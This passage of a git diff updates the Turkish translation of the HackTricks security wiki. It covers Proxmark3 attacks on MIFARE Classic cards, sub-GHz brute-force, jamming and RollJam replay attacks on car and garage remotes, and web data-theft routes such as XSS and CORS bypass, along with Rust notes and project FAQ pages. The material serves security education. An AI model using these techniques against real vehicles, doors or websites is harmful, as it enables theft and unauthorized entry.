kullanarak: +Or using the **proxmark**: {{#ref}} proxmark-3.md diff --git a/src/todo/radio-hacking/proxmark-3.md b/src/todo/radio-hacking/proxmark-3.md index a03cae340..155071277 100644 --- a/src/todo/radio-hacking/proxmark-3.md +++ b/src/todo/radio-hacking/proxmark-3.md @@ -9,8 +9,8 @@ Yapmanız gereken ilk şey bir [**Proxmark3**](https://proxmark.com) edinmek ve ### MIFARE Classic 1KB'ye Saldırma **16 sektör** vardır, her birinde **4 blok** ve her blokta **16B** bulunur. UID, sektör 0 blok 0'da (ve değiştirilemez).\ -Her sektöre erişmek için **2 anahtara** (**A** ve **B**) ihtiyacınız var, bunlar **her sektörün blok 3'ünde** saklanır (sektör trailer). Sektör trailer ayrıca **erişim bitlerini** saklar, bu bitler **her blokta** 2 anahtarı kullanarak **okuma ve yazma** izinleri verir.\ -2 anahtar, ilkini biliyorsanız okumak için ve ikincisini biliyorsanız yazmak için izin vermek için kullanışlıdır (örneğin). +Her sektöre erişmek için **2 anahtar** (**A** ve **B**) gerekir, bunlar **her sektörün blok 3'ünde** (sektör trailer) saklanır. Sektör trailer ayrıca **okuma ve yazma** izinlerini veren **erişim bitlerini** saklar.\ +2 anahtar, ilkini biliyorsanız okumak ve ikincisini biliyorsanız yazmak için izin vermek için kullanışlıdır (örneğin). Birçok saldırı gerçekleştirilebilir. ```bash @@ -49,10 +49,10 @@ Bu bilgilerle kart hakkında ve onunla iletişim kurma yöntemi hakkında bilgi ### Scriptler -Proxmark3 yazılımı, basit görevleri yerine getirmek için kullanabileceğiniz önceden yüklenmiş bir **otomasyon scriptleri** listesi ile birlikte gelir. Tam listeyi almak için `script list` komutunu kullanın. Ardından, script'in adını takip eden `script run` komutunu kullanın: +Proxmark3 yazılımı, basit görevleri yerine getirmek için kullanabileceğiniz önceden yüklenmiş bir **otomasyon scriptleri** listesi ile birlikte gelir. Tam listeyi almak için `script list` komutunu kullanın. Ardından, scriptin adını takip eden `script run` komutunu kullanın: ``` proxmark3> script run mfkeys ``` -Bir **fuzz tag okuyucuları** oluşturmak için bir script yazabilirsiniz, böylece bir **geçerli kartın** verilerini kopyalamak için sadece bir **Lua scripti** yazın, bir veya daha fazla rastgele **baytı** rastgeleleştirip **okuyucunun çöküp çökmediğini** kontrol edin. +Bir **fuzz tag okuyucuları** için bir script oluşturabilirsiniz, böylece bir **geçerli kartın** verilerini kopyalamak için sadece bir **Lua scripti** yazın, bir veya daha fazla rastgele **baytı** rastgeleleştirip **okuyucunun çöküp çökmediğini** kontrol edin. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/todo/radio-hacking/sub-ghz-rf.md b/src/todo/radio-hacking/sub-ghz-rf.md index a5aeedf9b..e4303c5db 100644 --- a/src/todo/radio-hacking/sub-ghz-rf.md +++ b/src/todo/radio-hacking/sub-ghz-rf.md @@ -8,7 +8,7 @@ Garaj kapısı açıcıları genellikle 300-190 MHz aralığında çalışır ve ## Araç Kapıları -Çoğu araç anahtar uzaktan kumandası ya **315 MHz ya da 433 MHz** frekansında çalışır. Bu frekanslar her ikisi de radyo frekanslarıdır ve çeşitli uygulamalarda kullanılır. İki frekans arasındaki ana fark, 433 MHz'nin 315 MHz'den daha uzun bir menzil sunmasıdır. Bu, 433 MHz'nin uzaktan anahtarsız giriş gibi daha uzun menzil gerektiren uygulamalar için daha iyi olduğu anlamına gelir.\ +Çoğu araç anahtar uzaktan kumandası ya **315 MHz ya da 433 MHz** üzerinde çalışır. Bu ikisi de radyo frekanslarıdır ve çeşitli uygulamalarda kullanılır. İki frekans arasındaki ana fark, 433 MHz'nin 315 MHz'den daha uzun bir menzil sunmasıdır. Bu, 433 MHz'nin uzaktan anahtarsız giriş gibi daha uzun menzil gerektiren uygulamalar için daha iyi olduğu anlamına gelir.\ Avrupa'da 433.92MHz yaygın olarak kullanılırken, ABD ve Japonya'da 315MHz kullanılmaktadır. ## **Kaba Güç Saldırısı** @@ -19,15 +19,15 @@ Her kodu 5 kez göndermek yerine (alıcıya ulaşmasını sağlamak için böyle
-Ve eğer **sinaller arasındaki 2 ms bekleme** süresini **kaldırırsanız, süreyi 3 dakikaya düşürebilirsiniz.** +Ve eğer **sinaller arasındaki 2 ms bekleme** süresini **kaldırırsanız, süreyi 3 dakikaya** düşürebilirsiniz. -Ayrıca, De Bruijn Dizisi kullanarak (tüm potansiyel ikili sayıları kaba kuvvetle göndermek için gereken bit sayısını azaltmanın bir yolu) bu **süre sadece 8 saniyeye düşer**: +Ayrıca, De Bruijn Dizisi kullanarak (tüm potansiyel ikili sayıların gönderilmesi için gereken bit sayısını azaltmanın bir yolu) bu **süre sadece 8 saniyeye** düşer:
Bu saldırının bir örneği [https://github.com/samyk/opensesame](https://github.com/samyk/opensesame) adresinde uygulanmıştır. -**Bir önsöz gerektirmek, De Bruijn Dizisi** optimizasyonunu engelleyecek ve **dönüşümlü kodlar bu saldırıyı önleyecektir** (kodun kaba kuvvetle kırılmayacak kadar uzun olduğunu varsayarsak). +**Bir önsöz gerektirmek, De Bruijn Dizisi** optimizasyonunu engelleyecek ve **dönüşümlü kodlar bu saldırıyı önleyecektir** (kodun brute force yapılmayacak kadar uzun olduğunu varsayarsak). ## Sub-GHz Saldırısı @@ -43,32 +43,32 @@ Otomatik garaj kapısı açıcıları genellikle garaj kapısını açmak ve kap Birinin, RF sinyalini kesmek ve daha sonra kullanmak üzere kaydetmek için bir kod yakalayıcı cihaz kullanması mümkündür. Bu, **tekrar saldırısı** olarak bilinir. Bu tür bir saldırıyı önlemek için, birçok modern garaj kapısı açıcı daha güvenli bir şifreleme yöntemi olan **dönüşümlü kod** sistemini kullanır. -**RF sinyali genellikle dönüşümlü kod kullanılarak iletilir**, bu da kodun her kullanımda değiştiği anlamına gelir. Bu, birinin sinyali **yakalamayı** ve garaja **yetkisiz** erişim sağlamayı **zorlaştırır**. +**RF sinyali genellikle bir dönüşümlü kod kullanılarak iletilir**, bu da kodun her kullanımda değiştiği anlamına gelir. Bu, birinin sinyali **yakalamayı** ve garaja **yetkisiz** erişim sağlamayı **zorlaştırır**. Dönüşümlü kod sisteminde, uzaktan kumanda ve garaj kapısı açıcı, uzaktan kumanda her kullanıldığında **yeni bir kod üreten** bir **paylaşılan algoritmaya** sahiptir. Garaj kapısı açıcı yalnızca **doğru koda** yanıt verecek, bu da birinin yalnızca bir kodu yakalayarak garaja yetkisiz erişim sağlamasını çok daha zor hale getirecektir. ### **Eksik Bağlantı Saldırısı** -Temelde, düğmeyi dinlersiniz ve **uzaktan kumanda cihazın menzilinden çıktığında sinyali yakalarsınız** (örneğin, araç veya garaj). Daha sonra cihaza geçer ve **yakalanan kodu kullanarak açarsınız**. +Temelde, düğmeyi dinlersiniz ve **uzaktan kumanda cihazın menzilinden çıktığında sinyali yakalarsınız** (örneğin araç veya garaj). Daha sonra cihaza geçer ve **yakalanan kodu kullanarak açarsınız**. ### Tam Bağlantı Boğma Saldırısı -Bir saldırgan, **sinyali araç veya alıcı yakınında boğabilir** böylece **alıcı kodu gerçekten ‘duyamaz’** ve bu gerçekleştiğinde, boğmayı durdurduğunuzda kodu **yakalamak ve tekrar göndermek** için basitçe yapabilirsiniz. +Bir saldırgan, **sinyali araç veya alıcı yakınında boğabilir** böylece **alıcı kodu gerçekten ‘duyamaz** ve bu olduğunda, boğmayı durdurduğunuzda kodu **yakalamak ve tekrar göndermek** için basitçe yapabilirsiniz. -Kurban bir noktada **anahtarları aracı kilitlemek için kullanacaktır**, ancak o zaman saldırgan **yeterince "kapıyı kapat" kodunu kaydetmiş olacaktır** ki umarım bu kodlar kapıyı açmak için yeniden gönderilebilir (bir **frekans değişikliği gerekebilir** çünkü bazı araçlar kapıyı açmak ve kapatmak için aynı kodları kullanır ama her iki komutu farklı frekanslarda dinler). +Kurban bir noktada **anahtarları aracı kilitlemek için kullanacaktır**, ancak o zaman saldırgan **yeterince "kapıyı kapat" kodunu kaydetmiş olacaktır** ki umarım kapıyı açmak için yeniden gönderilebilir (bir **frekans değişikliği gerekebilir** çünkü bazı araçlar kapatmak ve açmak için aynı kodları kullanır ama her iki komutu farklı frekanslarda dinler). > [!WARNING] -> **Boğma çalışır**, ancak dikkat çekicidir çünkü **aracı kilitleyen kişi kapıları test ederse** kilitli olduklarından emin olmak için arabanın kilitli olmadığını fark eder. Ayrıca, böyle saldırılardan haberdar iseler, kapıların kilit **sesini** yapmadığını veya aracın **ışıklarının** ‘kilitle’ düğmesine bastıklarında hiç yanmadığını dinleyebilirler. +> **Boğma çalışır**, ancak dikkat çekicidir çünkü **aracı kilitleyen kişi kapıları test ederse** kilitli olduklarından emin olmak için aracın kilitli olmadığını fark eder. Ayrıca, böyle saldırılardan haberdar iseler, kapıların kilit **sesini** yapmadığını veya aracın **ışıklarının** ‘kilitle’ düğmesine bastıklarında hiç yanmadığını dinleyebilirler. ### **Kod Yakalama Saldırısı (aka ‘RollJam’)** -Bu daha **gizli bir Boğma tekniğidir**. Saldırgan sinyali boğar, böylece kurban kapıyı kilitlemeye çalıştığında çalışmaz, ancak saldırgan bu kodu **kaydeder**. Daha sonra, kurban düğmeye basarak aracı tekrar kilitlemeye çalışır ve araç **bu ikinci kodu kaydeder**.\ -Bundan hemen sonra **saldırgan ilk kodu gönderebilir** ve **araç kilitlenecektir** (kurban ikinci basışın kapattığını düşünecektir). Ardından, saldırgan **ç stolen kodu aracı açmak için gönderebilir** (bir **"aracı kapat" kodunun da açmak için kullanılabileceğini varsayarsak**). Bir frekans değişikliği gerekebilir (çünkü bazı araçlar kapıyı açmak ve kapatmak için aynı kodları kullanır ama her iki komutu farklı frekanslarda dinler). +Bu daha **gizli bir Boğma tekniğidir**. Saldırgan sinyali boğar, böylece kurban kapıyı kilitlemeye çalıştığında çalışmaz, ancak saldırgan bu kodu **kaydeder**. Daha sonra, kurban düğmeye basarak aracı tekrar **kilitlemeye çalışır** ve araç bu **ikinci kodu kaydeder**.\ +Bundan hemen sonra **saldırgan ilk kodu gönderebilir** ve **araç kilitlenecektir** (kurban ikinci basışın kapattığını düşünecektir). Ardından, saldırgan **ç stolen kodu aracı açmak için gönderebilir** (bir **"kapalı araç" kodunun da açmak için kullanılabileceğini varsayarsak**). Bir frekans değişikliği gerekebilir (çünkü bazı araçlar kapatmak ve açmak için aynı kodları kullanır ama her iki komutu farklı frekanslarda dinler). -Saldırgan **aracın alıcısını boğabilir ve kendi alıcısını boğmaz** çünkü eğer aracın alıcısı örneğin 1MHz geniş bantta dinliyorsa, saldırgan uzaktan kumandanın kullandığı tam frekansı **boğmaz** ama **o spektrumda yakın bir frekansı boğar** ve **saldırganın alıcısı daha küçük bir aralıkta dinleyecektir** böylece uzaktan kumanda sinyalini **boğma sinyali olmadan** dinleyebilir. +Saldırgan, **aracın alıcısını boğabilir ve kendi alıcısını boğmaz** çünkü eğer araç alıcısı örneğin 1MHz geniş bantta dinliyorsa, saldırgan uzaktan kumandanın kullandığı tam frekansı **boğmaz** ama **o spektrumda yakın bir frekansı** boğar, bu sırada **saldırganın alıcısı daha küçük bir aralıkta dinleyecektir** ve uzaktan kumanda sinyalini **boğma sinyali olmadan** dinleyebilir. > [!WARNING] -> Diğer uygulamalarda görülen spesifikasyonlar, **dönüşümlü kodun toplam gönderilen kodun bir kısmı** olduğunu göstermektedir. Yani gönderilen kod bir **24 bit anahtardır** burada ilk **12 dönüşümlü kod**, **ikinci 8 komut** (kilitleme veya açma gibi) ve son 4 **kontrol toplamıdır**. Bu tür bir uygulama yapan araçlar da doğal olarak savunmasızdır çünkü saldırgan yalnızca dönüşümlü kod segmentini değiştirmelidir ki **her iki frekansta da herhangi bir dönüşümlü kodu kullanabilsin**. +> Diğer uygulamalarda görülen spesifikasyonlar, **dönüşümlü kodun toplam gönderilen kodun bir kısmı** olduğunu göstermektedir. Yani gönderilen kod bir **24 bit anahtardır**; ilk **12'si dönüşümlü kod**, **ikinci 8'i komut** (kilitleme veya açma gibi) ve son 4'ü **kontrol toplamıdır**. Bu tür bir uygulama yapan araçlar da doğal olarak savunmasızdır çünkü saldırgan yalnızca dönüşümlü kod segmentini değiştirmek zorundadır ve böylece **her iki frekansta da herhangi bir dönüşümlü kodu kullanabilir**. > [!CAUTION] > Kurban, saldırgan ilk kodu gönderirken üçüncü bir kod gönderirse, birinci ve ikinci kod geçersiz hale gelecektir. diff --git a/src/todo/rust-basics.md b/src/todo/rust-basics.md index 912b341ee..381f7cf8b 100644 --- a/src/todo/rust-basics.md +++ b/src/todo/rust-basics.md @@ -81,7 +81,7 @@ Nil, let list = Cons(1, Cons(2, Cons(3, Nil))); ``` -### Koşullar +### Koşullu İfadeler #### eğer ```rust @@ -254,7 +254,7 @@ assert_ne!(true, false); #### Arc -Bir Arc, nesne üzerinde daha fazla referans oluşturmak için Clone kullanabilir ve bunları thread'lere iletebilir. Bir değere işaret eden son referans işlevselliği dışına çıktığında, değişken düşürülür. +Bir Arc, nesne üzerinde daha fazla referans oluşturmak için Clone kullanabilir ve bunları thread'lere iletebilir. Bir değere işaret eden son referans işlev alanından çıktığında, değişken düşürülür. ```rust use std::sync::Arc; let apple = Arc::new("the same apple"); @@ -265,9 +265,9 @@ println!("{:?}", apple); }); } ``` -#### İpleri +#### Threads -Bu durumda, ipliğe değiştirebileceği bir değişken geçeceğiz. +Bu durumda, iş parçacığına değiştirebileceği bir değişken geçireceğiz. ```rust fn main() { let status = Arc::new(Mutex::new(JobStatus { jobs_completed: 0 })); diff --git a/src/todo/stealing-sensitive-information-disclosure-from-a-web.md b/src/todo/stealing-sensitive-information-disclosure-from-a-web.md index 56310c0cf..50ddb1c66 100644 --- a/src/todo/stealing-sensitive-information-disclosure-from-a-web.md +++ b/src/todo/stealing-sensitive-information-disclosure-from-a-web.md @@ -6,8 +6,8 @@ Eğer bir noktada **oturumunuza dayalı hassas bilgileri sunan bir web sayfası İşte bunu başarmak için deneyebileceğiniz ana yollar: - [**CORS bypass**](../pentesting-web/cors-bypass.md): CORS başlıklarını aşabilirseniz, kötü niyetli bir sayfa için Ajax isteği yaparak bilgileri çalabilirsiniz. -- [**XSS**](../pentesting-web/xss-cross-site-scripting/): Sayfada bir XSS açığı bulursanız, bunu bilgileri çalmak için kötüye kullanabilirsiniz. -- [**Danging Markup**](../pentesting-web/dangling-markup-html-scriptless-injection/): XSS etiketlerini enjekte edemiyorsanız, yine de diğer normal HTML etiketlerini kullanarak bilgileri çalma şansınız olabilir. +- [**XSS**](../pentesting-web/xss-cross-site-scripting/): Sayfada bir XSS açığı bulursanız, bunu kullanarak bilgileri çalabilirsiniz. +- [**Danging Markup**](../pentesting-web/dangling-markup-html-scriptless-injection/): XSS etiketlerini enjekte edemiyorsanız, yine de diğer normal HTML etiketlerini kullanarak bilgileri çalabilirsiniz. - [**Clickjaking**](../pentesting-web/clickjacking.md): Bu saldırıya karşı bir koruma yoksa, kullanıcıyı hassas verileri göndermesi için kandırabilirsiniz (bir örnek [burada](https://medium.com/bugbountywriteup/apache-example-servlet-leads-to-61a2720cac20)). {{#include ../banners/hacktricks-training.md}} diff --git a/src/todo/test-llms.md b/src/todo/test-llms.md index 312955871..4dc464a43 100644 --- a/src/todo/test-llms.md +++ b/src/todo/test-llms.md @@ -21,24 +21,24 @@ LitServe, AI modellerini hızlı ve verimli bir şekilde dağıtmak için tasarl ### [**Axolotl**](https://github.com/axolotl-ai-cloud/axolotl) -Axolotl, LLM'ler de dahil olmak üzere AI modellerinin dağıtımını, ölçeklenmesini ve yönetimini kolaylaştırmak için tasarlanmış bulut tabanlı bir platformdur. Otomatik ölçeklendirme, izleme ve çeşitli bulut hizmetleriyle entegrasyon gibi özellikler sunarak, modellerin üretim ortamlarında kapsamlı altyapı yönetimi olmadan dağıtımını kolaylaştırır. +Axolotl, LLM'ler de dahil olmak üzere AI modellerinin dağıtımını, ölçeklenmesini ve yönetimini kolaylaştırmak için tasarlanmış bulut tabanlı bir platformdur. Otomatik ölçeklendirme, izleme ve çeşitli bulut hizmetleriyle entegrasyon gibi özellikler sunarak, modellerin üretim ortamlarında kapsamlı altyapı yönetimi olmadan dağıtılmasını kolaylaştırır. ## Modelleri çevrimiçi deneme ### [**Hugging Face**](https://huggingface.co/) -**Hugging Face**, makine öğrenimi için önde gelen bir platform ve topluluktur, özellikle doğal dil işleme (NLP) alanındaki çalışmalarıyla tanınır. Makine öğrenimi modellerini geliştirmeyi, paylaşmayı ve dağıtmayı kolaylaştıran araçlar, kütüphaneler ve kaynaklar sunar.\ +**Hugging Face**, makine öğrenimi için önde gelen bir platform ve topluluktur, özellikle doğal dil işleme (NLP) konusundaki çalışmalarıyla tanınır. Makine öğrenimi modellerini geliştirmeyi, paylaşmayı ve dağıtmayı kolaylaştıran araçlar, kütüphaneler ve kaynaklar sunar.\ Aşağıdaki gibi birkaç bölüm sunar: -* **Modeller:** Kullanıcıların metin üretimi, çeviri, görüntü tanıma ve daha fazlası gibi çeşitli görevler için modelleri göz atabileceği, indirebileceği ve entegre edebileceği geniş bir **önceden eğitilmiş makine öğrenimi modelleri** deposu. -* **Veri Setleri:** Modellerin eğitimi ve değerlendirilmesi için kullanılan kapsamlı bir **veri setleri koleksiyonu**. Kullanıcıların belirli makine öğrenimi projeleri için veri bulmasını ve kullanmasını kolaylaştıran çeşitli veri kaynaklarına erişimi sağlar. -* **Alanlar:** **Etkileşimli makine öğrenimi uygulamaları** ve demoları barındırmak ve paylaşmak için bir platform. Geliştiricilerin modellerini eylemde sergilemesine, kullanıcı dostu arayüzler oluşturmasına ve canlı demolar paylaşarak başkalarıyla işbirliği yapmasına olanak tanır. +* **Modeller:** Kullanıcıların metin üretimi, çeviri, görüntü tanıma ve daha fazlası gibi çeşitli görevler için modelleri göz atıp, indirip ve entegre edebileceği geniş bir **önceden eğitilmiş makine öğrenimi modelleri** deposu. +* **Veri Setleri:** Modellerin eğitimi ve değerlendirilmesi için kullanılan kapsamlı bir **veri setleri koleksiyonu**. Kullanıcıların belirli makine öğrenimi projeleri için veri bulup kullanmalarını sağlayarak çeşitli veri kaynaklarına kolay erişim sağlar. +* **Alanlar:** **Etkileşimli makine öğrenimi uygulamaları** ve demoları barındırma ve paylaşma platformu. Geliştiricilerin modellerini eylemde sergilemelerine, kullanıcı dostu arayüzler oluşturmalarına ve canlı demolar paylaşarak başkalarıyla işbirliği yapmalarına olanak tanır. ## [**TensorFlow Hub**](https://www.tensorflow.org/hub) **&** [**Kaggle**](https://www.kaggle.com/) **TensorFlow Hub**, Google tarafından geliştirilen yeniden kullanılabilir makine öğrenimi modüllerinin kapsamlı bir deposudur. Özellikle TensorFlow ile oluşturulan makine öğrenimi modellerinin paylaşımını ve dağıtımını kolaylaştırmaya odaklanır. -* **Modüller:** Kullanıcıların görüntü sınıflandırması, metin gömme ve daha fazlası gibi görevler için modülleri göz atabileceği, indirebileceği ve entegre edebileceği geniş bir önceden eğitilmiş modeller ve model bileşenleri koleksiyonu. +* **Modüller:** Kullanıcıların görüntü sınıflandırması, metin gömme ve daha fazlası gibi görevler için modülleri göz atıp, indirip ve entegre edebileceği geniş bir önceden eğitilmiş modeller ve model bileşenleri koleksiyonu. * **Eğitimler:** Kullanıcıların TensorFlow Hub kullanarak modelleri nasıl uygulayacaklarını ve ince ayar yapacaklarını anlamalarına yardımcı olan adım adım kılavuzlar ve örnekler. * **Dokümantasyon:** Geliştiricilerin depo kaynaklarını etkili bir şekilde kullanmalarına yardımcı olan kapsamlı kılavuzlar ve API referansları. @@ -46,5 +46,5 @@ Aşağıdaki gibi birkaç bölüm sunar: **Replicate**, geliştiricilerin basit bir API aracılığıyla bulutta makine öğrenimi modellerini çalıştırmalarına olanak tanıyan bir platformdur. ML modellerini geniş altyapı kurulumu gerektirmeden kolayca erişilebilir ve dağıtılabilir hale getirmeye odaklanır. -* **Modeller:** Topluluk tarafından katkıda bulunulan makine öğrenimi modellerinin bir deposu; kullanıcıların göz atabileceği, deneyebileceği ve modelleri uygulamalarına minimal çaba ile entegre edebileceği. -* **API Erişimi:** Geliştiricilerin kendi uygulamaları içinde modelleri zahmetsizce dağıtmasına ve ölçeklendirmesine olanak tanıyan basit API'ler. +* **Modeller:** Topluluk tarafından katkıda bulunulan makine öğrenimi modellerinin bir deposu; kullanıcıların göz atıp, denemelerine ve modelleri uygulamalarına entegre etmelerine olanak tanır. +* **API Erişimi:** Geliştiricilerin kendi uygulamaları içinde modelleri zahmetsizce dağıtıp ölçeklendirmelerini sağlayan basit API'ler. diff --git a/src/welcome/about-the-author.md b/src/welcome/about-the-author.md index 5c532b7ab..d7af7e6f2 100644 --- a/src/welcome/about-the-author.md +++ b/src/welcome/about-the-author.md @@ -6,7 +6,7 @@ Öncelikle, diğer sitelerden yapılan araştırmalardaki tekniklerin **tüm kredilerinin orijinal yazarlara ait olduğunu** belirtmek gerekir (sayfalarda referanslar bulunmaktadır). İnternetin güvenliğini artırmak için bilgi paylaşan her araştırmaya teşekkürler. -HackTricks, Carlos'un liderliğinde yüzlerce işbirlikçi ile **siber güvenlik** hakkında bilgi derleyen bir eğitim Wiki'sidir! Topluluk tarafından mümkün olduğunca güncel tutulan **büyük bir hacking hileleri koleksiyonu**dur. Eğer bir şeyin eksik veya güncel olmadığını düşünüyorsanız, lütfen [**Hacktricks Github**](https://github.com/carlospolop/hacktricks) için bir **Pull Request** gönderin! +HackTricks, Carlos'un liderliğinde yüzlerce işbirlikçi ile **siber güvenlik** hakkında bilgi derleyen bir eğitim Wiki'sidir! Topluluk tarafından mümkün olduğunca güncel tutulan **büyük bir hacking hileleri koleksiyonu**dur. Eğer bir şeyin eksik veya güncel olmadığını düşünüyorsanız, lütfen [**Hacktricks Github**](https://github.com/carlospolop/hacktricks) adresine bir **Pull Request** gönderin! HackTricks ayrıca **birçok araştırmacının en son bulgularını paylaştığı** bir wiki'dir, bu nedenle en son hacking teknikleriyle güncel kalmak için harika bir yerdir. diff --git a/src/welcome/hacktricks-values-and-faq.md b/src/welcome/hacktricks-values-and-faq.md index edff1b4ad..c5f76629f 100644 --- a/src/welcome/hacktricks-values-and-faq.md +++ b/src/welcome/hacktricks-values-and-faq.md @@ -25,7 +25,7 @@ > > - **Bu kaynaklar için çok teşekkür ederim, size nasıl teşekkür edebilirim?** -Bu kaynakları bir araya getiren HackTricks ekiplerine [**@hacktricks_live**](https://twitter.com/hacktricks_live) şeklinde bir tweet atarak kamuya açık bir şekilde teşekkür edebilirsiniz.\ +HackTricks ekiplerine bu kaynakları bir tweet ile [**@hacktricks_live**](https://twitter.com/hacktricks_live) olarak bahsederek kamuya açık bir şekilde teşekkür edebilirsiniz.\ Eğer özellikle minnettar iseniz, [**projeyi burada destekleyebilirsiniz**](https://github.com/sponsors/carlospolop).\ Ve Github projelerine **bir yıldız vermeyi unutmayın!** (Aşağıdaki bağlantıları bulun). @@ -44,7 +44,7 @@ Github projelerine **bir yıldız vermeyi unutmayın!** > > - **HackTricks'ten bazı içerikleri kopyalayıp bloguma koyabilir miyim?** -Evet, yapabilirsiniz, ancak **içeriğin alındığı belirli bağlantıları** belirtmeyi unutmayın. +Evet, koyabilirsiniz, ancak **içeriğin alındığı belirli bağlantıları** belirtmeyi unutmayın. > [!TIP] > @@ -78,11 +78,11 @@ Eğer HackTricks kitaplarının **ticari amaçlar** için yapıldığını düş Sponsorlarımız var çünkü, tüm içerik **ÜCRETSİZ** olsa da, topluluğa **çalışmamızı takdir etme imkanı sunmak** istiyoruz. Bu nedenle, insanlara HackTricks'e [**Github sponsorları**](https://github.com/sponsors/carlospolop) aracılığıyla bağış yapma seçeneği sunuyoruz ve **ilgili siber güvenlik şirketleri** HackTricks'i sponsor olarak destekleyip kitapta **bazı reklamlar** bulundurabiliyor, bu **reklamlar** her zaman görünür yerlerde ama öğrenme sürecini **rahatsız etmeyecek** şekilde yerleştirilmektedir. -HackTricks'i, HackTricks'ten çok daha az içeriğe sahip diğer bloglar gibi rahatsız edici reklamlarla dolu bulamayacaksınız, çünkü HackTricks ticari amaçlar için yapılmamıştır. +HackTricks, HackTricks'ten çok daha az içeriğe sahip diğer bloglar gibi rahatsız edici reklamlarla dolu değildir çünkü HackTricks ticari amaçlar için yapılmamıştır. > [!CAUTION] > -> - **Eğer bazı HackTricks sayfası blog yazıma dayanıyorsa ama referans verilmemişse ne yapmalıyım?** +> - **Eğer bazı HackTricks sayfaları blog yazıma dayanıyorsa ama referans verilmemişse ne yapmalıyım?** **Çok üzgünüz. Bu olmamalıydı**. Lütfen, HackTricks sayfasının içeriği ile birlikte blogunuzun linkini Github sorunları, Twitter, Discord... aracılığıyla bize bildirin ve **bunu kontrol edip en kısa sürede ekleyeceğiz**. @@ -90,11 +90,11 @@ HackTricks'i, HackTricks'ten çok daha az içeriğe sahip diğer bloglar gibi ra > > - **Eğer HackTricks'te blogumdan içerik varsa ve orada olmasını istemiyorsam ne yapmalıyım?** -HackTricks'te sayfanıza bağlantıların bulunmasının: +HackTricks'te sayfanıza bağlantı olmasının: -- **SEO**'nuzu iyileştirdiğini -- İçeriğin **15'ten fazla dile** çevrildiğini ve daha fazla insanın bu içeriğe erişim sağladığını -- **HackTricks'in** insanları **sayfanızı kontrol etmeye** teşvik ettiğini (birçok kişi, HackTricks'te sayfalarının bulunmasının ardından daha fazla ziyaret aldıklarını belirtti) +- **SEO**'nu geliştirir +- İçerik **15'ten fazla dile** çevrilir, bu da daha fazla insanın bu içeriğe erişmesini sağlar +- **HackTricks**, insanların **sayfanızı kontrol etmelerini** teşvik eder (birçok kişi, HackTricks'te bazı sayfalarının bulunması nedeniyle daha fazla ziyaret aldıklarını belirtmiştir) Ancak, eğer blogunuzun içeriğinin HackTricks'ten kaldırılmasını istiyorsanız, sadece bize bildirin ve kesinlikle **blogunuza olan her bağlantıyı** ve buna dayanan her içeriği **kaldıracağız**. @@ -102,7 +102,7 @@ Ancak, eğer blogunuzun içeriğinin HackTricks'ten kaldırılmasını istiyorsa > > - **Eğer HackTricks'te kopyala-yapıştır içerik bulursam ne yapmalıyım?** -Her zaman **orijinal yazarlara tüm kredileri veriyoruz**. Eğer orijinal kaynak belirtilmeden kopyala-yapıştır içerik içeren bir sayfa bulursanız, bize bildirin ve ya **kaldıracağız**, **metnin önüne bağlantıyı ekleyeceğiz**, ya da **bağlantıyı ekleyerek yeniden yazacağız**. +Her zaman **orijinal yazarlara tüm kredileri veriyoruz**. Eğer orijinal kaynak belirtilmeden kopyala-yapıştır içerik içeren bir sayfa bulursanız, lütfen bize bildirin ve ya **kaldıracağız**, ya **metnin önüne bağlantıyı ekleyeceğiz**, ya da **bağlantıyı ekleyerek yeniden yazacağız**. ## LICENSE @@ -130,14 +130,14 @@ Bu lisans, içeriğe ilişkin herhangi bir ticari marka veya marka hakları verm ## **Açıklama** > [!CAUTION] -> Bu kitap, 'HackTricks', yalnızca eğitim ve bilgilendirme amaçlıdır. Bu kitap içindeki içerik, 'olduğu gibi' esasına dayanmaktadır ve yazarlar ve yayıncılar, bu kitapta yer alan bilgilerin, ürünlerin, hizmetlerin veya ilgili grafiklerin tamlığı, doğruluğu, güvenilirliği, uygunluğu veya kullanılabilirliği hakkında herhangi bir türde, açık veya zımni, herhangi bir beyan veya garanti vermez. Bu tür bilgilere dayanarak yaptığınız herhangi bir güven, tamamen kendi riskinizdedir. +> Bu kitap, 'HackTricks', yalnızca eğitim ve bilgilendirme amaçlıdır. Bu kitap içindeki içerik, 'olduğu gibi' sağlanmaktadır ve yazarlar ve yayıncılar, bu kitapta yer alan bilgilerin, ürünlerin, hizmetlerin veya ilgili grafiklerin tamlığı, doğruluğu, güvenilirliği, uygunluğu veya kullanılabilirliği hakkında herhangi bir türde, açık veya zımni, herhangi bir beyan veya garanti vermez. Bu tür bilgilere dayanarak yaptığınız herhangi bir güven, tamamen kendi riskinizdedir. > -> Yazarlar ve yayıncılar, bu kitabın kullanımından kaynaklanan veya bununla bağlantılı olarak veri kaybı veya kar kaybı dahil ancak bunlarla sınırlı olmamak üzere, herhangi bir kayıp veya zarardan sorumlu tutulamaz. +> Yazarlar ve yayıncılar, bu kitabın kullanımından kaynaklanan veri kaybı veya kar kaybı dahil, dolaylı veya sonuç olarak ortaya çıkan herhangi bir kayıp veya zarardan, ya da bu kitaptan kaynaklanan veya bağlantılı herhangi bir kayıp veya zarardan sorumlu tutulamaz. > -> Ayrıca, bu kitapta açıklanan teknikler ve ipuçları yalnızca eğitim ve bilgilendirme amaçlıdır ve herhangi bir yasa dışı veya kötü niyetli faaliyetler için kullanılmamalıdır. Yazarlar ve yayıncılar, herhangi bir yasa dışı veya etik olmayan faaliyetleri onaylamaz veya desteklemez ve bu kitapta yer alan bilgilerin herhangi bir kullanımı, kullanıcının kendi riskine ve takdirine bağlıdır. +> Ayrıca, bu kitapta açıklanan teknikler ve ipuçları yalnızca eğitim ve bilgilendirme amaçlıdır ve herhangi bir yasa dışı veya kötü niyetli faaliyet için kullanılmamalıdır. Yazarlar ve yayıncılar, herhangi bir yasa dışı veya etik olmayan faaliyetleri onaylamaz veya desteklemez ve bu kitapta yer alan bilgilerin herhangi bir kullanımı, kullanıcının kendi riskine ve takdirine bağlıdır. > > Kullanıcı, bu kitapta yer alan bilgilere dayanarak alınan herhangi bir eylemden tamamen sorumludur ve burada açıklanan teknikleri veya ipuçlarını uygulamaya çalışırken her zaman profesyonel tavsiye ve yardım almalıdır. > -> Bu kitabı kullanarak, kullanıcı, yazarları ve yayıncıları, bu kitabın kullanımından kaynaklanabilecek herhangi bir zarar, kayıp veya zarar için her türlü sorumluluktan muaf tutmayı kabul eder. +> Bu kitabı kullanarak, kullanıcı, yazarları ve yayıncıları, bu kitabın veya içindeki bilgilerin kullanımından kaynaklanabilecek herhangi bir zarar, kayıp veya zarardan sorumluluktan muaf tutmayı kabul eder. 